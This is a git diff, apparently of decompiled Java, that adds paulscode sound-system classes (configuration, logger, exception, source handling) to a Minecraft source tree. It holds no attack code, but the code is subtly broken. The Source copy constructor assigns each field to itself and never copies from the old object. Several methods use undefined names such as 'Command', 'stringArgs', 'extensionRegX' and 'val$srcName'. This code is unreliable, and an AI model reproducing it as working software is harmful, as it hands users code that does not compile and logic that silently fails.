+              
+              break;
+            case 40: 
+              CommandNewLibrary(classArgs[0]);
+            }
+            
+          }
+        }
+        
+
+
+
+
+
+        if (activations) {
+          soundLibrary.replaySources();
+        }
+        
+
+
+        while ((sourcePlayList != null) && (sourcePlayList.size() > 0))
+        {
+
+          CommandObject commandObject = (CommandObject)sourcePlayList.remove(0);
+          if (commandObject != null)
+          {
+
+            switch (Command)
+            {
+            case 24: 
+              CommandPlay(stringArgs[0]);
+              break;
+            case 25: 
+              CommandFeedRawAudioData(stringArgs[0], buffer);
+            }
+            
+          }
+        }
+        
+
+
+        return (commandQueue != null) && (commandQueue.size() > 0);
+      }
+      
+
+
+      if (commandQueue == null) {
+        return false;
+      }
+      commandQueue.add(newCommand);
+      
+
+      return true;
+    }
+  }
+  
+
+
+
+
+
+
+  public void removeTemporarySources()
+  {
+    synchronized (SoundSystemConfig.THREAD_SYNC)
+    {
+      if (soundLibrary != null) {
+        soundLibrary.removeTemporarySources();
+      }
+    }
+  }
+  
+
+
+
+
+  public boolean playing(String sourcename)
+  {
+    synchronized (SoundSystemConfig.THREAD_SYNC)
+    {
+      if (soundLibrary == null) {
+        return false;
+      }
+      Source src = (Source)soundLibrary.getSources().get(sourcename);
+      
+      if (src == null) {
+        return false;
+      }
+      return src.playing();
+    }
+  }
+  
+
+
+
+
+  public boolean playing()
+  {
+    synchronized (SoundSystemConfig.THREAD_SYNC)
+    {
+      if (soundLibrary == null) {
+        return false;
+      }
+      HashMap<String, Source> sourceMap = soundLibrary.getSources();
+      if (sourceMap == null) {
+        return false;
+      }
+      Set<String> keys = sourceMap.keySet();
+      Iterator<String> iter = keys.iterator();
+      
+
+
+      while (iter.hasNext())
+      {
+        String sourcename = (String)iter.next();
+        Source source = (Source)sourceMap.get(sourcename);
+        if ((source != null) && 
+          (source.playing())) {
+          return true;
+        }
+      }
+      return false;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private HashMap<String, Source> copySources(HashMap<String, Source> sourceMap)
+  {
+    Set<String> keys = sourceMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    HashMap<String, Source> returnMap = new HashMap();
+    
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source source = (Source)sourceMap.get(sourcename);
+      if (source != null)
+        returnMap.put(sourcename, new Source(source, null));
+    }
+    return returnMap;
+  }
+  
+
+
+
+
+
+
+  public static boolean libraryCompatible(Class libraryClass)
+  {
+    SoundSystemLogger logger = SoundSystemConfig.getLogger();
+    
+    if (logger == null)
+    {
+      logger = new SoundSystemLogger();
+      SoundSystemConfig.setLogger(logger);
+    }
+    logger.message("", 0);
+    logger.message("Checking if " + SoundSystemConfig.getLibraryTitle(libraryClass) + " is compatible...", 0);
+    
+
+
+    boolean comp = SoundSystemConfig.libraryCompatible(libraryClass);
+    
+    if (comp) {
+      logger.message("...yes", 1);
+    } else {
+      logger.message("...no", 1);
+    }
+    return comp;
+  }
+  
+
+
+
+
+  public static Class currentLibrary()
+  {
+    return currentLibrary(false, null);
+  }
+  
+
+
+
+
+  public static boolean initialized()
+  {
+    return initialized(false, false);
+  }
+  
+
+
+
+
+  public static SoundSystemException getLastException()
+  {
+    return lastException(false, null);
+  }
+  
+
+
+
+
+
+  public static void setException(SoundSystemException e)
+  {
+    lastException(true, e);
+  }
+  
+
+
+
+
+
+
+  private static boolean initialized(boolean action, boolean value)
+  {
+    synchronized (SoundSystemConfig.THREAD_SYNC)
+    {
+      if (action == true)
+        initialized = value;
+      return initialized;
+    }
+  }
+  
+
+
+
+
+
+
+
+  private static Class currentLibrary(boolean action, Class value)
+  {
+    synchronized (SoundSystemConfig.THREAD_SYNC)
+    {
+      if (action == true)
+        currentLibrary = value;
+      return currentLibrary;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private static SoundSystemException lastException(boolean action, SoundSystemException e)
+  {
+    synchronized (SoundSystemConfig.THREAD_SYNC)
+    {
+      if (action == true)
+        lastException = e;
+      return lastException;
+    }
+  }
+  
+
+
+
+  protected static void snooze(long milliseconds)
+  {
+    try
+    {
+      Thread.sleep(milliseconds);
+    }
+    catch (InterruptedException e) {}
+  }
+  
+
+
+
+
+
+  protected void message(String message, int indent)
+  {
+    logger.message(message, indent);
+  }
+  
+
+
+
+
+
+  protected void importantMessage(String message, int indent)
+  {
+    logger.importantMessage(message, indent);
+  }
+  
+
+
+
+
+
+
+
+  protected boolean errorCheck(boolean error, String message, int indent)
+  {
+    return logger.errorCheck(error, className, message, indent);
+  }
+  
+
+
+
+
+
+  protected void errorMessage(String message, int indent)
+  {
+    logger.errorMessage(className, message, indent);
+  }
+}
diff --git a/src/minecraft/paulscode/sound/SoundSystemConfig.java b/src/minecraft/paulscode/sound/SoundSystemConfig.java
new file mode 100644
index 0000000..4367af8
--- /dev/null
+++ b/src/minecraft/paulscode/sound/SoundSystemConfig.java
@@ -0,0 +1,1071 @@
+package paulscode.sound;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.LinkedList;
+import java.util.ListIterator;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SoundSystemConfig
+{
+  public static final Object THREAD_SYNC = new Object();
+  
+
+
+
+
+
+  public static final int TYPE_NORMAL = 0;
+  
+
+
+
+
+
+  public static final int TYPE_STREAMING = 1;
+  
+
+
+
+
+
+  public static final int ATTENUATION_NONE = 0;
+  
+
+
+
+
+  public static final int ATTENUATION_ROLLOFF = 1;
+  
+
+
+
+
+  public static final int ATTENUATION_LINEAR = 2;
+  
+
+
+
+
+  public static String EXTENSION_MIDI = ".*[mM][iI][dD][iI]?$";
+  
+
+
+
+  public static String PREFIX_URL = "^[hH][tT][tT][pP]://.*";
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static SoundSystemLogger logger = null;
+  
+
+
+
+  private static LinkedList<Class> libraries;
+  
+
+
+
+  private static LinkedList<Codec> codecs = null;
+  
+
+
+
+  private static LinkedList<IStreamListener> streamListeners = null;
+  
+
+
+  private static final Object streamListenersLock = new Object();
+  
+
+
+
+
+
+  private static int numberNormalChannels = 28;
+  
+
+
+
+
+  private static int numberStreamingChannels = 4;
+  
+
+
+  private static float masterGain = 1.0F;
+  
+
+
+
+  private static int defaultAttenuationModel = 1;
+  
+
+
+  private static float defaultRolloffFactor = 0.03F;
+  
+
+
+  private static float dopplerFactor = 0.0F;
+  
+
+
+  private static float dopplerVelocity = 1.0F;
+  
+
+
+  private static float defaultFadeDistance = 1000.0F;
+  
+
+
+  private static String soundFilesPackage = "Sounds/";
+  
+
+
+
+  private static int streamingBufferSize = 131072;
+  
+
+
+
+  private static int numberStreamingBuffers = 3;
+  
+
+
+
+
+
+  private static boolean streamQueueFormatsMatch = false;
+  
+
+
+
+
+  private static int maxFileSize = 268435456;
+  
+
+
+
+  private static int fileChunkSize = 1048576;
+  
+
+
+
+
+  private static boolean midiCodec = false;
+  
+
+
+
+
+
+
+  private static String overrideMIDISynthesizer = "";
+  
+
+
+
+
+
+  public SoundSystemConfig() {}
+  
+
+
+
+
+  public static void addLibrary(Class libraryClass)
+    throws SoundSystemException
+  {
+    if (libraryClass == null) {
+      throw new SoundSystemException("Parameter null in method 'addLibrary'", 2);
+    }
+    
+    if (!Library.class.isAssignableFrom(libraryClass)) {
+      throw new SoundSystemException("The specified class does not extend class 'Library' in method 'addLibrary'");
+    }
+    
+    if (libraries == null) {
+      libraries = new LinkedList();
+    }
+    if (!libraries.contains(libraryClass)) {
+      libraries.add(libraryClass);
+    }
+  }
+  
+
+
+
+  public static void removeLibrary(Class libraryClass)
+    throws SoundSystemException
+  {
+    if ((libraries == null) || (libraryClass == null)) {
+      return;
+    }
+    libraries.remove(libraryClass);
+  }
+  
+
+
+
+
+  public static LinkedList<Class> getLibraries()
+  {
+    return libraries;
+  }
+  
+
+
+
+
+
+  public static boolean libraryCompatible(Class libraryClass)
+  {
+    if (libraryClass == null)
+    {
+      errorMessage("Parameter 'libraryClass' null in method'librayCompatible'");
+      
+      return false;
+    }
+    if (!Library.class.isAssignableFrom(libraryClass))
+    {
+      errorMessage("The specified class does not extend class 'Library' in method 'libraryCompatible'");
+      
+      return false;
+    }
+    
+    Object o = runMethod(libraryClass, "libraryCompatible", new Class[0], new Object[0]);
+    
+
+    if (o == null)
+    {
+      errorMessage("Method 'Library.libraryCompatible' returned 'null' in method 'libraryCompatible'");
+      
+      return false;
+    }
+    
+    return ((Boolean)o).booleanValue();
+  }
+  
+
+
+
+
+
+  public static String getLibraryTitle(Class libraryClass)
+  {
+    if (libraryClass == null)
+    {
+      errorMessage("Parameter 'libraryClass' null in method'getLibrayTitle'");
+      
+      return null;
+    }
+    if (!Library.class.isAssignableFrom(libraryClass))
+    {
+      errorMessage("The specified class does not extend class 'Library' in method 'getLibraryTitle'");
+      
+      return null;
+    }
+    
+    Object o = runMethod(libraryClass, "getTitle", new Class[0], new Object[0]);
+    
+    if (o == null)
+    {
+      errorMessage("Method 'Library.getTitle' returned 'null' in method 'getLibraryTitle'");
+      
+      return null;
+    }
+    
+    return (String)o;
+  }
+  
+
+
+
+
+
+  public static String getLibraryDescription(Class libraryClass)
+  {
+    if (libraryClass == null)
+    {
+      errorMessage("Parameter 'libraryClass' null in method'getLibrayDescription'");
+      
+      return null;
+    }
+    if (!Library.class.isAssignableFrom(libraryClass))
+    {
+      errorMessage("The specified class does not extend class 'Library' in method 'getLibraryDescription'");
+      
+      return null;
+    }
+    
+    Object o = runMethod(libraryClass, "getDescription", new Class[0], new Object[0]);
+    
+    if (o == null)
+    {
+      errorMessage("Method 'Library.getDescription' returned 'null' in method 'getLibraryDescription'");
+      
+      return null;
+    }
+    
+    return (String)o;
+  }
+  
+
+
+
+
+
+  public static boolean reverseByteOrder(Class libraryClass)
+  {
+    if (libraryClass == null)
+    {
+      errorMessage("Parameter 'libraryClass' null in method'reverseByteOrder'");
+      
+      return false;
+    }
+    if (!Library.class.isAssignableFrom(libraryClass))
+    {
+      errorMessage("The specified class does not extend class 'Library' in method 'reverseByteOrder'");
+      
+      return false;
+    }
+    
+    Object o = runMethod(libraryClass, "reversByteOrder", new Class[0], new Object[0]);
+    
+    if (o == null)
+    {
+      errorMessage("Method 'Library.reverseByteOrder' returned 'null' in method 'getLibraryDescription'");
+      
+      return false;
+    }
+    
+    return ((Boolean)o).booleanValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void setLogger(SoundSystemLogger l)
+  {
+    logger = l;
+  }
+  
+
+
+
+  public static SoundSystemLogger getLogger()
+  {
+    return logger;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static synchronized void setNumberNormalChannels(int number)
+  {
+    numberNormalChannels = number;
+  }
+  
+
+
+
+
+
+  public static synchronized int getNumberNormalChannels()
+  {
+    return numberNormalChannels;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static synchronized void setNumberStreamingChannels(int number)
+  {
+    numberStreamingChannels = number;
+  }
+  
+
+
+
+
+  public static synchronized int getNumberStreamingChannels()
+  {
+    return numberStreamingChannels;
+  }
+  
+
+
+
+
+  public static synchronized void setMasterGain(float value)
+  {
+    masterGain = value;
+  }
+  
+
+
+
+
+  public static synchronized float getMasterGain()
+  {
+    return masterGain;
+  }
+  
+
+
+
+
+
+  public static synchronized void setDefaultAttenuation(int model)
+  {
+    defaultAttenuationModel = model;
+  }
+  
+
+
+
+  public static synchronized int getDefaultAttenuation()
+  {
+    return defaultAttenuationModel;
+  }
+  
+
+
+
+  public static synchronized void setDefaultRolloff(float rolloff)
+  {
+    defaultRolloffFactor = rolloff;
+  }
+  
+
+
+
+  public static synchronized float getDopplerFactor()
+  {
+    return dopplerFactor;
+  }
+  
+
+
+
+
+
+
+  public static synchronized void setDopplerFactor(float factor)
+  {
+    dopplerFactor = factor;
+  }
+  
+
+
+
+  public static synchronized float getDopplerVelocity()
+  {
+    return dopplerVelocity;
+  }
+  
+
+
+
+
+
+
+  public static synchronized void setDopplerVelocity(float velocity)
+  {
+    dopplerVelocity = velocity;
+  }
+  
+
+
+
+  public static synchronized float getDefaultRolloff()
+  {
+    return defaultRolloffFactor;
+  }
+  
+
+
+
+  public static synchronized void setDefaultFadeDistance(float distance)
+  {
+    defaultFadeDistance = distance;
+  }
+  
+
+
+
+  public static synchronized float getDefaultFadeDistance()
+  {
+    return defaultFadeDistance;
+  }
+  
+
+
+
+  public static synchronized void setSoundFilesPackage(String location)
+  {
+    soundFilesPackage = location;
+  }
+  
+
+
+
+  public static synchronized String getSoundFilesPackage()
+  {
+    return soundFilesPackage;
+  }
+  
+
+
+
+  public static synchronized void setStreamingBufferSize(int size)
+  {
+    streamingBufferSize = size;
+  }
+  
+
+
+
+  public static synchronized int getStreamingBufferSize()
+  {
+    return streamingBufferSize;
+  }
+  
+
+
+
+
+
+  public static synchronized void setNumberStreamingBuffers(int num)
+  {
+    numberStreamingBuffers = num;
+  }
+  
+
+
+
+  public static synchronized int getNumberStreamingBuffers()
+  {
+    return numberStreamingBuffers;
+  }
+  
+
+
+
+
+
+
+
+  public static synchronized void setStreamQueueFormatsMatch(boolean val)
+  {
+    streamQueueFormatsMatch = val;
+  }
+  
+
+
+
+
+
+
+
+  public static synchronized boolean getStreamQueueFormatsMatch()
+  {
+    return streamQueueFormatsMatch;
+  }
+  
+
+
+
+
+
+
+  public static synchronized void setMaxFileSize(int size)
+  {
+    maxFileSize = size;
+  }
+  
+
+
+
+  public static synchronized int getMaxFileSize()
+  {
+    return maxFileSize;
+  }
+  
+
+
+
+
+  public static synchronized void setFileChunkSize(int size)
+  {
+    fileChunkSize = size;
+  }
+  
+
+
+
+
+  public static synchronized int getFileChunkSize()
+  {
+    return fileChunkSize;
+  }
+  
+
+
+
+
+  public static synchronized String getOverrideMIDISynthesizer()
+  {
+    return overrideMIDISynthesizer;
+  }
+  
+
+
+
+
+
+  public static synchronized void setOverrideMIDISynthesizer(String name)
+  {
+    overrideMIDISynthesizer = name;
+  }
+  
+
+
+
+
+
+
+  public static synchronized void setCodec(String extension, Class iCodecClass)
+    throws SoundSystemException
+  {
+    if (extension == null) {
+      throw new SoundSystemException("Parameter 'extension' null in method 'setCodec'.", 2);
+    }
+    
+    if (iCodecClass == null) {
+      throw new SoundSystemException("Parameter 'iCodecClass' null in method 'setCodec'.", 2);
+    }
+    
+    if (!ICodec.class.isAssignableFrom(iCodecClass)) {
+      throw new SoundSystemException("The specified class does not implement interface 'ICodec' in method 'setCodec'", 3);
+    }
+    
+
+    if (codecs == null) {
+      codecs = new LinkedList();
+    }
+    ListIterator<Codec> i = codecs.listIterator();
+    
+
+    while (i.hasNext())
+    {
+      Codec codec = (Codec)i.next();
+      if (extension.matches(extensionRegX))
+        i.remove();
+    }
+    codecs.add(new Codec(extension, iCodecClass));
+    
+
+
+    if (extension.matches(EXTENSION_MIDI)) {
+      midiCodec = true;
+    }
+  }
+  
+
+
+
+
+  public static synchronized ICodec getCodec(String filename)
+  {
+    if (codecs == null) {
+      return null;
+    }
+    ListIterator<Codec> i = codecs.listIterator();
+    
+
+    while (i.hasNext())
+    {
+      Codec codec = (Codec)i.next();
+      if (filename.matches(extensionRegX)) {
+        return codec.getInstance();
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+  public static boolean midiCodec()
+  {
+    return midiCodec;
+  }
+  
+
+
+
+
+
+  public static void addStreamListener(IStreamListener streamListener)
+  {
+    synchronized (streamListenersLock)
+    {
+      if (streamListeners == null) {
+        streamListeners = new LinkedList();
+      }
+      if (!streamListeners.contains(streamListener)) {
+        streamListeners.add(streamListener);
+      }
+    }
+  }
+  
+
+
+
+
+  public static void removeStreamListener(IStreamListener streamListener)
+  {
+    synchronized (streamListenersLock)
+    {
+      if (streamListeners == null) {
+        streamListeners = new LinkedList();
+      }
+      if (streamListeners.contains(streamListener)) {
+        streamListeners.remove(streamListener);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public static void notifyEOS(String sourcename, int queueSize)
+  {
+    synchronized (streamListenersLock)
+    {
+      if (streamListeners == null)
+        return;
+    }
+    String srcName = sourcename;
+    final int qSize = queueSize;
+    
+    new Thread()
+    {
+
+      public void run()
+      {
+        synchronized (SoundSystemConfig.streamListenersLock)
+        {
+          if (SoundSystemConfig.streamListeners == null)
+            return;
+          ListIterator<IStreamListener> i = SoundSystemConfig.streamListeners.listIterator();
+          
+          while (i.hasNext())
+          {
+            IStreamListener streamListener = (IStreamListener)i.next();
+            if (streamListener == null) {
+              i.remove();
+            } else {
+              streamListener.endOfStream(val$srcName, qSize);
+            }
+          }
+        }
+      }
+    }.start();
+  }
+  
+
+
+
+
+
+
+
+
+  private static void errorMessage(String message)
+  {
+    if (logger != null) {
+      logger.errorMessage("SoundSystemConfig", message, 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static Object runMethod(Class c, String method, Class[] paramTypes, Object[] params)
+  {
+    Method m = null;
+    try
+    {
+      m = c.getMethod(method, paramTypes);
+    }
+    catch (NoSuchMethodException nsme)
+    {
+      errorMessage("NoSuchMethodException thrown when attempting to call method '" + method + "' in " + "method 'runMethod'");
+      
+
+      return null;
+    }
+    catch (SecurityException se)
+    {
+      errorMessage("Access denied when attempting to call method '" + method + "' in method 'runMethod'");
+      
+      return null;
+    }
+    catch (NullPointerException npe)
+    {
+      errorMessage("NullPointerException thrown when attempting to call method '" + method + "' in " + "method 'runMethod'");
+      
+
+      return null;
+    }
+    if (m == null)
+    {
+      errorMessage("Method '" + method + "' not found for the class " + "specified in method 'runMethod'");
+      
+      return null;
+    }
+    
+    Object o = null;
+    try
+    {
+      o = m.invoke(null, params);
+    }
+    catch (IllegalAccessException iae)
+    {
+      errorMessage("IllegalAccessException thrown when attempting to invoke method '" + method + "' in " + "method 'runMethod'");
+      
+
+      return null;
+    }
+    catch (IllegalArgumentException iae)
+    {
+      errorMessage("IllegalArgumentException thrown when attempting to invoke method '" + method + "' in " + "method 'runMethod'");
+      
+
+      return null;
+    }
+    catch (InvocationTargetException ite)
+    {
+      errorMessage("InvocationTargetException thrown while attempting to invoke method 'Library.getTitle' in method 'getLibraryTitle'");
+      
+
+      return null;
+    }
+    catch (NullPointerException npe)
+    {
+      errorMessage("NullPointerException thrown when attempting to invoke method '" + method + "' in " + "method 'runMethod'");
+      
+
+      return null;
+    }
+    catch (ExceptionInInitializerError eiie)
+    {
+      errorMessage("ExceptionInInitializerError thrown when attempting to invoke method '" + method + "' in " + "method 'runMethod'");
+      
+
+      return null;
+    }
+    
+    return o;
+  }
+  
+
+
+
+
+
+
+
+
+  private static class Codec
+  {
+    public String extensionRegX;
+    
+
+
+
+
+
+
+
+    public Class iCodecClass;
+    
+
+
+
+
+
+
+
+    public Codec(String extension, Class iCodecClass)
+    {
+      extensionRegX = "";
+      
+      if ((extension != null) && (extension.length() > 0))
+      {
+
+
+        extensionRegX = ".*";
+        
+        for (int x = 0; x < extension.length(); x++)
+        {
+
+          String c = extension.substring(x, x + 1);
+          extensionRegX = (extensionRegX + "[" + c.toLowerCase(Locale.ENGLISH) + c.toUpperCase(Locale.ENGLISH) + "]");
+        }
+        
+
+        extensionRegX += "$";
+      }
+      
+      this.iCodecClass = iCodecClass;
+    }
+    
+    public ICodec getInstance()
+    {
+      if (iCodecClass == null) {
+        return null;
+      }
+      Object o = null;
+      try
+      {
+        o = iCodecClass.newInstance();
+      }
+      catch (InstantiationException ie)
+      {
+        instantiationErrorMessage();
+        return null;
+      }
+      catch (IllegalAccessException iae)
+      {
+        instantiationErrorMessage();
+        return null;
+      }
+      catch (ExceptionInInitializerError eiie)
+      {
+        instantiationErrorMessage();
+        return null;
+      }
+      catch (SecurityException se)
+      {
+        instantiationErrorMessage();
+        return null;
+      }
+      
+
+      if (o == null)
+      {
+        instantiationErrorMessage();
+        return null;
+      }
+      
+      return (ICodec)o;
+    }
+    
+    private void instantiationErrorMessage()
+    {
+      SoundSystemConfig.errorMessage("Unrecognized ICodec implementation in method 'getInstance'.  Ensure that the implementing class has one public, parameterless constructor.");
+    }
+  }
+}
diff --git a/src/minecraft/paulscode/sound/SoundSystemException.java b/src/minecraft/paulscode/sound/SoundSystemException.java
new file mode 100644
index 0000000..192b7a0
--- /dev/null
+++ b/src/minecraft/paulscode/sound/SoundSystemException.java
@@ -0,0 +1,94 @@
+package paulscode.sound;
+
+
+
+
+
+
+
+
+
+
+public class SoundSystemException
+  extends Exception
+{
+  public static final int ERROR_NONE = 0;
+  
+
+
+
+
+
+
+
+  public static final int UNKNOWN_ERROR = 1;
+  
+
+
+
+
+
+
+
+  public static final int NULL_PARAMETER = 2;
+  
+
+
+
+
+
+
+
+  public static final int CLASS_TYPE_MISMATCH = 3;
+  
+
+
+
+
+
+
+
+  public static final int LIBRARY_NULL = 4;
+  
+
+
+
+
+
+
+
+  public static final int LIBRARY_TYPE = 5;
+  
+
+
+
+
+
+
+
+  private int myType = 1;
+  
+
+
+
+  public SoundSystemException(String message)
+  {
+    super(message);
+  }
+  
+
+
+
+
+
+  public SoundSystemException(String message, int type)
+  {
+    super(message);
+    myType = type;
+  }
+  
+  public int getType()
+  {
+    return myType;
+  }
+}
diff --git a/src/minecraft/paulscode/sound/SoundSystemLogger.java b/src/minecraft/paulscode/sound/SoundSystemLogger.java
new file mode 100644
index 0000000..0dfeebb
--- /dev/null
+++ b/src/minecraft/paulscode/sound/SoundSystemLogger.java
@@ -0,0 +1,174 @@
+package paulscode.sound;
+
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SoundSystemLogger
+{
+  public SoundSystemLogger() {}
+  
+  public void message(String message, int indent)
+  {
+    String spacer = "";
+    for (int x = 0; x < indent; x++)
+    {
+      spacer = spacer + "    ";
+    }
+    
+    String messageText = spacer + message;
+    
+
+    System.out.println(messageText);
+  }
+  
+
+
+
+
+
+
+
+  public void importantMessage(String message, int indent)
+  {
+    String spacer = "";
+    for (int x = 0; x < indent; x++)
+    {
+      spacer = spacer + "    ";
+    }
+    
+    String messageText = spacer + message;
+    
+
+    System.out.println(messageText);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean errorCheck(boolean error, String classname, String message, int indent)
+  {
+    if (error)
+      errorMessage(classname, message, indent);
+    return error;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void errorMessage(String classname, String message, int indent)
+  {
+    String spacer = "";
+    for (int x = 0; x < indent; x++)
+    {
+      spacer = spacer + "    ";
+    }
+    
+    String headerLine = spacer + "Error in class '" + classname + "'";
+    
+    String messageText = "    " + spacer + message;
+    
+
+    System.out.println(headerLine);
+    System.out.println(messageText);
+  }
+  
+
+
+
+
+
+  public void printStackTrace(Exception e, int indent)
+  {
+    printExceptionMessage(e, indent);
+    importantMessage("STACK TRACE:", indent);
+    if (e == null) {
+      return;
+    }
+    StackTraceElement[] stack = e.getStackTrace();
+    if (stack == null) {
+      return;
+    }
+    
+    for (int x = 0; x < stack.length; x++)
+    {
+      StackTraceElement line = stack[x];
+      if (line != null) {
+        message(line.toString(), indent + 1);
+      }
+    }
+  }
+  
+
+
+
+
+  public void printExceptionMessage(Exception e, int indent)
+  {
+    importantMessage("ERROR MESSAGE:", indent);
+    if (e.getMessage() == null) {
+      message("(none)", indent + 1);
+    } else {
+      message(e.getMessage(), indent + 1);
+    }
+  }
+}
diff --git a/src/minecraft/paulscode/sound/Source.java b/src/minecraft/paulscode/sound/Source.java
new file mode 100644
index 0000000..db04081
--- /dev/null
+++ b/src/minecraft/paulscode/sound/Source.java
@@ -0,0 +1,1338 @@
+package paulscode.sound;
+
+import java.net.URL;
+import java.util.LinkedList;
+import java.util.ListIterator;
+import javax.sound.sampled.AudioFormat;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Source
+{
+  protected Class libraryType = Library.class;
+  
+
+
+
+
+  private static final boolean GET = false;
+  
+
+
+
+
+  private static final boolean SET = true;
+  
+
+
+
+  private static final boolean XXX = false;
+  
+
+
+
+  private SoundSystemLogger logger;
+  
+
+
+
+  public boolean rawDataStream = false;
+  
+
+
+
+  public AudioFormat rawDataFormat = null;
+  
+
+
+
+  public boolean temporary = false;
+  
+
+
+
+
+  public boolean priority = false;
+  
+
+
+
+  public boolean toStream = false;
+  
+
+
+
+  public boolean toLoop = false;
+  
+
+
+
+
+  public boolean toPlay = false;
+  
+
+
+
+
+  public String sourcename = "";
+  
+
+
+
+  public FilenameURL filenameURL = null;
+  
+
+
+
+  public Vector3D position;
+  
+
+
+
+  public int attModel = 0;
+  
+
+
+
+  public float distOrRoll = 0.0F;
+  
+
+
+
+
+  public Vector3D velocity;
+  
+
+
+
+
+  public float gain = 1.0F;
+  
+
+
+
+  public float sourceVolume = 1.0F;
+  
+
+
+
+  protected float pitch = 1.0F;
+  
+
+
+
+  public float distanceFromListener = 0.0F;
+  
+
+
+
+  public Channel channel = null;
+  
+
+
+
+  public SoundBuffer soundBuffer = null;
+  
+
+
+
+  private boolean active = true;
+  
+
+
+
+  private boolean stopped = true;
+  
+
+
+
+  private boolean paused = false;
+  
+
+
+
+  protected ICodec codec = null;
+  
+
+
+
+  protected ICodec nextCodec = null;
+  
+
+
+
+  protected LinkedList<SoundBuffer> nextBuffers = null;
+  
+
+
+
+
+  protected LinkedList<FilenameURL> soundSequenceQueue = null;
+  
+
+
+
+  protected final Object soundSequenceLock = new Object();
+  
+
+
+
+
+  public boolean preLoad = false;
+  
+
+
+
+
+  protected float fadeOutGain = -1.0F;
+  
+
+
+
+
+  protected float fadeInGain = 1.0F;
+  
+
+
+
+  protected long fadeOutMilis = 0L;
+  
+
+
+
+  protected long fadeInMilis = 0L;
+  
+
+
+
+  protected long lastFadeCheck = 0L;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Source(boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, SoundBuffer soundBuffer, float x, float y, float z, int attModel, float distOrRoll, boolean temporary)
+  {
+    logger = SoundSystemConfig.getLogger();
+    
+    this.priority = priority;
+    this.toStream = toStream;
+    this.toLoop = toLoop;
+    this.sourcename = sourcename;
+    this.filenameURL = filenameURL;
+    this.soundBuffer = soundBuffer;
+    position = new Vector3D(x, y, z);
+    this.attModel = attModel;
+    this.distOrRoll = distOrRoll;
+    velocity = new Vector3D(0.0F, 0.0F, 0.0F);
+    this.temporary = temporary;
+    
+    if ((toStream) && (filenameURL != null)) {
+      codec = SoundSystemConfig.getCodec(filenameURL.getFilename());
+    }
+  }
+  
+
+
+
+
+
+  public Source(Source old, SoundBuffer soundBuffer)
+  {
+    logger = SoundSystemConfig.getLogger();
+    
+    priority = priority;
+    toStream = toStream;
+    toLoop = toLoop;
+    sourcename = sourcename;
+    filenameURL = filenameURL;
+    position = position.clone();
+    attModel = attModel;
+    distOrRoll = distOrRoll;
+    velocity = velocity.clone();
+    temporary = temporary;
+    
+    sourceVolume = sourceVolume;
+    
+    rawDataStream = rawDataStream;
+    rawDataFormat = rawDataFormat;
+    
+    this.soundBuffer = soundBuffer;
+    
+    if ((toStream) && (filenameURL != null)) {
+      codec = SoundSystemConfig.getCodec(filenameURL.getFilename());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Source(AudioFormat audioFormat, boolean priority, String sourcename, float x, float y, float z, int attModel, float distOrRoll)
+  {
+    logger = SoundSystemConfig.getLogger();
+    
+    this.priority = priority;
+    toStream = true;
+    toLoop = false;
+    this.sourcename = sourcename;
+    filenameURL = null;
+    soundBuffer = null;
+    position = new Vector3D(x, y, z);
+    this.attModel = attModel;
+    this.distOrRoll = distOrRoll;
+    velocity = new Vector3D(0.0F, 0.0F, 0.0F);
+    temporary = false;
+    
+    rawDataStream = true;
+    rawDataFormat = audioFormat;
+  }
+  
+
+
+
+
+  public void cleanup()
+  {
+    if (codec != null) {
+      codec.cleanup();
+    }
+    synchronized (soundSequenceLock)
+    {
+      if (soundSequenceQueue != null)
+        soundSequenceQueue.clear();
+      soundSequenceQueue = null;
+    }
+    
+    sourcename = null;
+    filenameURL = null;
+    position = null;
+    soundBuffer = null;
+    codec = null;
+  }
+  
+
+
+
+
+
+
+  public void queueSound(FilenameURL filenameURL)
+  {
+    if (!toStream)
+    {
+      errorMessage("Method 'queueSound' may only be used for streaming and MIDI sources.");
+      
+      return;
+    }
+    if (filenameURL == null)
+    {
+      errorMessage("File not specified in method 'queueSound'");
+      return;
+    }
+    
+    synchronized (soundSequenceLock)
+    {
+      if (soundSequenceQueue == null)
+        soundSequenceQueue = new LinkedList();
+      soundSequenceQueue.add(filenameURL);
+    }
+  }
+  
+
+
+
+
+
+
+  public void dequeueSound(String filename)
+  {
+    if (!toStream)
+    {
+      errorMessage("Method 'dequeueSound' may only be used for streaming and MIDI sources.");
+      
+      return;
+    }
+    if ((filename == null) || (filename.equals("")))
+    {
+      errorMessage("Filename not specified in method 'dequeueSound'");
+      return;
+    }
+    
+    synchronized (soundSequenceLock)
+    {
+      if (soundSequenceQueue != null)
+      {
+        ListIterator<FilenameURL> i = soundSequenceQueue.listIterator();
+        while (i.hasNext())
+        {
+          if (((FilenameURL)i.next()).getFilename().equals(filename))
+          {
+            i.remove();
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
